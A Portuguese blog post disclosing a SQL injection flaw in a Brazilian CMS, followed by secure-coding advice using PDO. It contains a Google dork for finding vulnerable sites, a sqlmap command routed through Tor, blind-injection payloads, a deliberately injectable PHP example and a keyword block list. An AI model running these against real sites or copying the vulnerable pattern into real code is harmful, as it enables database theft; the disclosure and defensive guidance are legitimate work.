quarta-feira, 30 de setembro de 2015

( 0day ) - CMS Jourdan Design - SQL INJECTION

Bom continua minhas pesquisas com ( CMS's ) brasileiros, esbarrei nas minhas "Googladas" com o CMS da empresa Jourdan Design.
Que o mesmo apresenta falhas graves de injeção SQL, via request POST & GET.
Como não achei código fonte, ou padrão de outros cms's deduzi que eles usam uma aplicação priv8.

Vamos aos fatos....
Em uma pequena e rápida analise é possível constatar MÚLTIPLAS VULNERABILIDADES:

INFORMAÇÕES:

[+] FORNECEDOR:            http://www.jourdandesign.com.br
[+] VERSÕES VULNERÁVEIS:   (NÃO IDENTIFICADO)
[+] ARQUIVO:               VIA POST: newsletter_done.php, pesquisa_done.php
                           VIA GET : nossa_historia_texto.php
[+] DORK:                  "by Jourdan Design" "news_not_pk"
[+] REPORTADO:             30/09/2015

Senhoras e Senhores que estão lendo esse humilde artigo, não quero falar que isso é uma falha grande
E que vai afetar milhões de pessoas ... pois não vai, essa "plataforma" ou emaranhado de códigos
não filtrados afeta no máximo seus usuários/clientes, mas o grande intuito é mostrar filtros com PDO..
e filtros desprotegidos e algumas boas condutas.

( Todo desenv sabe || deveria saber ) que sistemas quando vão para produção tem que está como seus erros tratados, pelo menos deveriam certo (?!).
Quase toda aplicação que é invadida via SQL - INJECTION é devido seus erros não tratados no server side, muitas vezes são ownadas por 'BOTS', sim bots. que ao identificar esse erro de Syntax SQL já começa injetar comandos par extração de informações.

MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ?
A resposta é NÃO!
MAS SÓ TRATAR OS ERROS DA MINHA APLICAÇÃO JÁ ME DEIXA SEGURO ? A resposta é NÃO!


Apesar de ser informações básicas tanto pequenas quanto grande empresas incluindo governos ainda sofrem com isso.

Vamos aos BUGS da Jourdandesign
Demonstrarei somente um.

ARQUIVO:
newsletter_done.php
REQUEST POST:
nome=bypass&email=bypass@aduneb.com.br&Submit3=cadastrar

POC:
http://www.vul.com.br/newsletter_done.php?nome=bypass+{SQL_INJECTION_BLIND}&email=bypass@aduneb.com.br+{SQL_INJECTION_BLIND}&Submit3=cadastrar


GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

GERANDO ERRO PASSANDO CARACTERES MALICIOSOS

ERRO EXPOSTO:
ERRO EXPOSTO:

Pelos campos passados podemos perceber que tais parâmetros fazem parte da newsletter do "CMS", mas manipulando tais valores, saindo da validação javascript podemos bypassar.
Dica: sempre validar dados no lado servidor, seja ele vindo de clientes logados ou não.
          Se o request é feito pelo usurário, não confie no Request filtre.

EXPLORAÇÃO VIA SQLMAP:
COMANDO:
sqlmap -u 'http://www.vull.com.br/newsletter_done.php' --data "nome=bypass&email=123#2*@aduneb.com.br#1*&Submit3=cadastrar" -p nome --random-agent --level 3 --risk 2  --tor --tor-type=SOCKS5 --dbs --thread 5

PRINT:


PRINT EXPLORAÇÃO VIA SQLMAP:


RETURN SQLMAP DEBUG PAYLOAD:

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-7840') OR 1946=1946#@aduneb.com.br#1&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#2') AND (SELECT * FROM (SELECT(SLEEP(10)))Vxmq)#@aduneb.com.br#1&Submit3=cadastrar

Parameter: #2* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: nome=bypass&email=-1051') OR 5045=5045#&Submit3=cadastrar

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: nome=bypass&email=123#2@aduneb.com.br#1') AND (SELECT * FROM (SELECT(SLEEP(10)))tdlq)#&Submit3=cadastrar


CÓDIGO:
Um exemplo de como pode está o código do arquivo newsletter_done.php

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";



$nome  = $_POST['nome'];
$email = $_POST['email'];


// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 

$sql = "INSERT INTO newsletter (nome, email)
VALUES ('{$nome}', '{$email}')";
if ($conn->query($sql) === TRUE) {
    echo "EMAIL CADASTRADO COM SUCESSO!";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();

?>


Sem  nem um tipo de filtro no request POST os valores são  setados direto nas variáveis da aplicação.

NÃO FAÇA ISSO NUNCA!

  1. USE PDO!
  2. PDO É VIDA CARA!
  3. USE FILTROS!
  4. ISSO SALVA VIDAS!


Um simples exemplo usando PDO e filtros:

CÓDIGO:

<?php

$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";


// VALIDANDO $_POST SE CAMPOS EXISTEM
$nome = is_set($_POST['nome'])   ? $_POST['nome'] : exit('<p>FALTA campo nome!</p>');

$email = is_set($_POST['email']) ? $_POST['email'] : exit('<p>FALTA campo email!</p>');


// FILTRANDO CAMPOS POST
$nome =  is_name($nome)   ? $nome  : exit('<p>NOME invalido!</p>');
$email = is_email($email) ? $email : exit('<p>Email invalido!</p>');

// INICIANDO CONEXÃO



try {
$dbh = new PDO("mysql:host={$servername};dbname={$dbname}",$username,$password);
  

$stmt=$dbh->prepare("INSERT INTO newsletter (nome, email) VALUES (:nome, :email)");
$stmt->bindParam(':nome' , $nome);
$stmt->bindParam(':email', $email);
$stmt->execute();

$dbh = null;
} catch (PDOException $e) {
    print "<p>Error!: SQL/INSERT - 0001</p>";
    die();
}
// REF CÓDIGO: 
// http://php.net/manual/pt_BR/pdo.prepared-statements.php
// http://php.net/manual/en/pdo.prepare.php



//FUNCTION VALIDANDO SE VALORES PASSADOS EXISTEM
function is_set($value) {

    return isset($value) && !empty($value) ? TRUE : FALSE;
}
// REF CÓDIGO:
// http://php.net/manual/en/function.isset.php
// http://php.net/manual/en/function.empty.php


// FUNCTION FILTRANDO CARACTERES E VALIDANDO SE É EMAIL
function is_email($email){

// Remove all illegal characters from email
$email = filter_var($email, FILTER_SANITIZE_EMAIL);

// Validate e-mail
return (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) ? true : false;
}
// REF CÓDIGO: 
// http://php.net/manual/en/filter.filters.sanitize.php 
// http://www.w3schools.com/php/filter_validate_email.asp
// http://bobby-tables.com/php.html 
 

// FUNCTION FILTRANDO E VALIDANDO NOME
// MODELO PARANOICO
function is_name($name) { 
 

// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO       
foreach (array('0X', 'DROP', ';','--','UNION','CONCAT(','TABLE_','INFORMATION_',"'",'"') as $value) {
$name = !strstr(strtoupper($name), $value) ? $name : FALSE;
            
}
// FILTRO POSSÍVEIS CARACTERES DE INJEÇÃO + HTML         
$name = (filter_var(stripslashes(strip_tags(trim($name))), FILTER_SANITIZE_STRING));
 return $name;
}

  
?>


É um pequeno código simples com mais segurança, seguindo as seguintes dicas:


  • VALIDAR EXISTÊNCIA DO REQUEST
  • FILTRAR CAMPOS
  • USAR PDO EM TODA E QUALQUER SELECT,UPDATE,DELETE,INSERT
  • - SE POSSÍVEL 
  •        VALIDAR O TIPO DE VARIÁVEL
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT HTML
           VALIDAR TAMANHO MAXIMO CAMPOS / INPUT JAVASCRIPT
  • ANTES DE GERAR O REQUEST DESNECESSÁRIO AO SERVIDOR
  • REGRA PRINCIPAL NÃO CONFIE NO CLIENTE.


  • ÚLTIMA REGRA
    SIGA TODAS REGRAS ACIMA.



Um comentário:

  1. It really has some drawbacks. I do not think that our information will be quite protected because of it. However, it is worth a try.

    ResponderExcluir

............